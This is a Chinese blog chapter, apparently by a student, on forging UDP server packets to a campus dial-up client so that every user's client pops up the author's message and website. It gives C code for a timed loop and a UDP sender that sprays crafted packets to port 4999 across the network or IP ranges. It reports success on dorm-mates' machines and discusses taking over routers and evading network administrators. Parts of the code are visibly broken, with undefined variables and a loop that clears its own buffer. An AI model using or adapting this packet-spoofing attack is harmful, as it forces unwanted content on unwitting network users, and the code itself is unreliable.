PDF格式全文下载请点击:
http://www.purpleroc.com/html/382547.html
Chapter 7——广播?模拟广播
通过前面的努力,也就实现了整个对客户端大多数秘密的探索。不过,上章中,我们实现了数据包生成,并且,对自己的去掉了时间校验的客户端发送,虽然成功了,可似乎不能说明什么,只能说找到了他的实现原理罢了~
那,我们再来分析分析吧,在用客户端拨号上网的过程中,整个客户端与服务器的交流过程应该是这个样子的:(YY的,不过貌似每次YY的结果都是正确的)
1、 客户端把密码解密成真实的拨号密码,传递给rasdial
2、 由rasdial函数拨号,并在内存中记录拨号成功的时间
3、 客户端发送一个数据包给服务器,用于查询拨号账号剩余使用时长(其实,这也是一个突破口,可以对服务器下手,构造各种查询数据包,看返回结果,说不定还能直接返回用户密码呢。当然,这也是yy)
4、 服务器返回一个数据包给客户端,告诉客户端,你的剩余使用时长时多少等等之类
5、 客户端接受到数据包,进行解析,而后,根据数据包内容进行相应操作
额,大概就是这样了。那,我们现在的目的是:让每个拨号上网的人都弹出我想要弹出的内容和网站。
那我们可以从哪些方面入手呢?
1、改所有的路由器,加条路由,把默认的服务器ip跳转到我的电脑上。(那就是每次都有一个数据包发送到我这里,然后我再返回一个能让他打开的网站的数据包),等等,这个问题我以前没有想到,不过现在一分析,发现,也是不很有效~拿下所有路由器,似乎有点~~~此外,我们忘了一件事,也是我前面强调的,可却说错了的事情:时间是应该是本地拨号上网的时间,不应该是服务器返回过来的。因为,这个通信过程中,客户端先发了一个包含时间的数据包给服务器的~如果没记错的话。
2、24小时不停的对所有的ip地址发UDP数据包,只要他一拨号,就能收到我发出的恶意数据包,然后打开我的网站。那,时间呢?怎么控制?这样吧,每秒钟生成一个数据包,然后把它广播出去。这样子就可以绕过时间限制,以及解决被动发送数据包的问题了。
当然,你还可以想象,在路由器上截获(其实,以前在一家公司做流量探针就是这原理,过一遍所有要传输出去的流量,然后,把需要的信息记录下来),所有发送出去的数据包,然后对应其中的时间,构造数据包返回~
不过,除了第二条有可行性外,其余所有的都是yy的。前提是拿到路由器的控制权。
那,就来实现第二条的功能吧:
也就是在上一章实现的基础上添加一个时间触发功能,如下:
int time_tri() //时间触发,在这个函数里面调用其他函数
{
unsigned long dwStart;
unsigned long dwEnd;
int iCount=0;
do
{
dwStart = GetTickCount();
do
{
dwEnd = GetTickCount()-dwStart;
}while(dwEnd <1000);
iCount++;
printf("这是第%d次执行\n",iCount);
for (INT i=0;i<500;i++)
{
msg_in[i]=message[i];
}
memset(msg_in, 0, sizeof(msg_in)); //清空msg_in[500]
}while(1);
return 0;
}
而后就是UDP数据包的发送了,如下:
void SendtoMsg(char *mmsg,int N) //UDP数据包发送模块,将上面生成的构造好了的数据包发送出去
{
SOCKET fd;
int len,i = 0,j = 0;
unsigned int a = 0;
char szTmp[32] = {0};
WSADATA wsd;
if (WSAStartup(MAKEWORD(2,2), &wsd) != 0)
{
printf("WSAStartup failed!\n");
return;
}
struct sockaddr_in servaddr;
struct _msg
{
char a[500];
}message;
#define NIPQUAD_FMT "%u.%u.%u.%u"
#define NIPQUAD(addr) \
((unsigned char *)&addr)[0], \
((unsigned char *)&addr)[1], \
((unsigned char *)&addr)[2], \
((unsigned char *)&addr)[3]
char *sz_start_addr;
char *sz_end_addr;
sz_start_addr = buff1;
sz_end_addr = buff2;
unsigned int a1 = inet_addr(sz_ip_addr);
i = 0;
while(i != N)
{
message.a[i] = mmsg[i];
i++;
}
len = sizeof(servaddr);
if((fd = socket(AF_INET,SOCK_DGRAM,0)) < 0)
{
perror("fail to create socket");
return ;
}
servaddr.sin_family = AF_INET;
servaddr.sin_port = htons(atoi("4999"));
a = htonl(a1);
_snprintf(szTmp, sizeof(szTmp)-1,NIPQUAD_FMT, NIPQUAD(a));
servaddr.sin_addr.s_addr = inet_addr(szTmp);
sendto(fd,(const char*)&message,lent,0,(struct sockaddr *)&servaddr,len);
closesocket(fd); //关闭套接字
WSACleanup(); //释放套接字资源
return ;
}
也就是说,我们每隔一秒钟,对整个网络广播一个数据包出去,从而来解决时间限制。
之后试了下,发现,对整个网络广播数据包还是可行的,我们寝室的几个哥们都成功的弹出了我的信息,不过呢,我再跑到别的寝室去试试,发现~不可行了~
那,问题在哪?
还是前面在搭建pppoe服务器的时候的问题,广播数据是不能穿过路由器的,所以~我得改变方案啊,既然它不让广播,那我就模拟广播吧。如果能够拿下路由器,可以在其中找到自己接入的端口,开放广播功能。
在上面的发送代码中,加上一个ip地址段,也即是,循环对这个ip地址段发送数据包。每秒发送一次,这个貌似能够实现对特定的ip打开我的网页,不过,效率太低,ip段过大的话,很容易造成网卡吃不消,丢包等等现象,而且,只要网管一分析,你的ip一直在对外发送数据包,也就很容易找到你了。
文章写道这,也就算完了,我也没再继续往里钻了,1是感觉没什么可以再去探究了,2是时间不够我毕业了。
so,还差一篇总结~